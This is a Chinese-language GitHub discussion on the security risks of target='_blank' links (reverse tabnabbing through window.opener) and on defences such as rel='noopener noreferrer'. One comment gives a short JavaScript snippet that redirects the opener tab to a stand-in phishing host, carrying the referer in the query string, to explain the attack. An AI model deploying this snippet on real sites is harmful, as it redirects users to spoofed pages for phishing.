Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[html] 第49天 说说你对target="_blank"的理解?有啥安全性问题?如何防范? #185

Open
haizhilin2013 opened this issue Jun 3, 2019 · 7 comments
Labels
html html

Comments

@haizhilin2013
Copy link
Collaborator

第49天 说说你对target="_blank"的理解?有啥安全性问题?如何防范?

@haizhilin2013 haizhilin2013 added the html html label Jun 3, 2019
@wenyejie
Copy link

wenyejie commented Jun 4, 2019

在新的空白页, 打开该链接,
安全性问题, 就是, 如果url中带有敏感信息, 会被第三方网站读取到document.referer

@Yaonie-Jie
Copy link

防范:
添加一个属性

rel="noopener noreferrer"

@justfn
Copy link

justfn commented Sep 12, 2019

在新的空白页, 打开该链接,
安全性问题, 就是, 如果url中带有敏感信息, 会被第三方网站读取到document.referer

我在Chrome和IE中测试,发现 document.referer 都为空字符啊, 难道我理解错了?

@seho-dev
Copy link

在新的空白页, 打开该链接,
安全性问题, 就是, 如果url中带有敏感信息, 会被第三方网站读取到document.referer

我在Chrome和IE中测试,发现 document.referer 都为空字符啊, 难道我理解错了?

w3c介绍: 如果当前文档不是通过超级链接访问的,则为 null。这个属性允许客户端 JavaScript 访问 HTTP 引用头部。

@dangjian
Copy link

问题

在调用window下的open方法创建一个新窗口的同时,可以获得一个创建窗口的opener句柄,通过target="_blank"点开的窗口活着标签页,子窗口也能捕获opener句柄,通过这个句柄,子窗口可以访问到父窗口的一些属性,虽然很有限,但是却可以修改父窗口的页面地址,让父窗口显示指定的页面。

防范

如果需要限制window.opener的访问行为,我们只需要在原始页面每个使用了target="_blank"的链接中加上一个rel="noopener"属性。
但是,火狐并不支持这个属性值,火狐浏览器里需要写成rel="noreferrer",所以我们可以将两个属性值合并写成rel="noopener noreferrer"来完整覆盖。

<a href="https://www.baidu.com" target="_blank" rel="noopener noreferrer nofollow">内容</a>

nofollow 是HTML页面中a标签的属性值。这个标签的意义是告诉搜索引擎"不要追踪此网页上的链接或不要追踪此特定链接"。

@luckyMuChen
Copy link

通常在网页中使用链接时,你很可能会添加一个简单的 target="_blank" 属性到 a 标签上来让浏览器用一个新的标签页来打开一个 URL 地址。但是这一属性正在成为网络钓鱼者攻击的机会。

恶意攻击
如果你的网站上有一个使用了 target="_blank" 的 a 标签链接,一旦用户点击了这个链接打开了新的标签页,如果这个标签页跳转的网站内存在的恶意代码,那么你原本页面的网站可能会被转到一个假的页面。也就是说,当用户回到原本的页面时,他看到的可能就是已经被替换过的钓鱼页面了。


步骤如下:

  1. 你的网站上有一个 a 标签的链接 https://example.com:
    <a href="https://an.evil.site" target="_blank">
      Enter an "evil" website
    </a>
    • 一个用户点击了这个链接在一个新的标签页打开这个新的网站。这个网站可以根据用户跳转新页面的 HTTP 请求中的 header 里的 Referer 字段来确定这个用户的来源。
    • 而这个网站包含类似的 JavaScript code:
    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);	
  2. 现在,这个用户继续浏览合格新打开的标签页,当这个开始的页面已经加载到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F 之后。
  3. 这个恶意的网站 https://a.fake.site 可以根据这个 querystring 部分伪造一个跟原本的页面一样的页面来欺骗用户(其实你也可以在这期间制造另一个跳转,让浏览器的地址栏看起来更令人困惑)
  4. 当用户关掉这个新标签页(https://an.evil.site)然后回到开始的页面时…………Oh, no, 你再也回不到开始那个页面了。
  • 以上的攻击方式,是在跨域的场景中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。
  • 虽然,都是受限制的并且只提供了很少的受限的可用属性。并且这一些可用的属性里,大部分都不被允许访问(否则使用时会直接报错 DOMException)。
  • 但是在跨域的场景中,opener 对象不像 parent 对象那么严格,opener 依然可以调用 location.replace 方法。
  • 如果这是同域场景(例如,这个网站上的一个页面已经被嵌入了恶意代码),那么这个情况会变得更加严重。

预防
在 <iframe> 中有一个 sandbox 属性,所以你可以使用以下的一些方法来预防链接:

  1. Referrer Policy 和 noreferrer
    • 在上述的攻击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你可以在当前页面返回的 HTTP Response Headers 中添加 Referrer Policy 头来确保原本网页可以不受新标签页的干扰。
    • 你需要修改后端代码(译注:或者 nginx 配置)来实现添加 Referer Policy 头。同时在前端,你也可以使用 <a> 标签本身支持的 rel 属性,通过指明 rel="noreferrer" 来确保原网页不受新标签页的干扰。
       <a href="https://an.evil.site" target="_blank" rel="noreferrer">
         Enter an "evil" website
       </a>
    • 然而,需要注意的是及时你已经限制了 referer 的传递,原网页依旧无法阻止被恶意地重定向。
  2. noopener(需要考虑浏览器兼容)
    处于安全的考虑,现代浏览器支持指定 rel="noopener" 在 <a> 标签上,从而在新打开的标签页里,opener 对象将不可用,其值直接被设置成了 null。
    <a href="https://an.evil.site" target="_blank" rel="noopener">
      Enter an "evil" website
    </a>
  3. 最佳
    1. 首先,你可以添加 rel="noopener" 到网站的 a 标签上(也推荐使用 rel="noreferrer"), 如果算上 target="_blank",那么看起来大概是这样:
      <a href="https://an.evil.site" target="_blank"  rel="noopener noreferrer">
        Enter an "evil" website
      </a>
    2. 当然,当你要跳转到第三方网站的时候,就推荐添加 rel="nofollow" 来调整 SEO 权重。这看起来像:
      <a href="https://an.evil.site" target="_blank" 
         rel="noopener noreferrer nofollow">
        Enter an "evil" website
      </a>
  4. 性能问题
    • 最后,我们来讨论一下性能问题,如果网站使用 <a target="_blank”> 新打开的标签页的性能就会影响当前打开的页面。在这一点看来,如果在新开的页面里有一个很臃肿的 JavaScript 脚本要执行,那么原本的页面也会受到影响,同时当前页面停滞的现象也可能出现(相当于这两个页面是在同一个线程上)。
    • 如果 noopener 添加到了链接上,那么这新旧两个页面就不能互相插手对方了,也就是说原来的页面不会受到新页面的影响(这两个页面就变成两个线程了)。
  5. 参考你从未注意的隐藏危险: target = "_blank" 和 "opener"

@zhaoqingkaitt
Copy link

zhaoqingkaitt commented Oct 19, 2020

请问这个a标签的地址是自己写上去的吗?为啥不写个安全的链接?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
html html
Projects
None yet
Development

No branches or pull requests

8 participants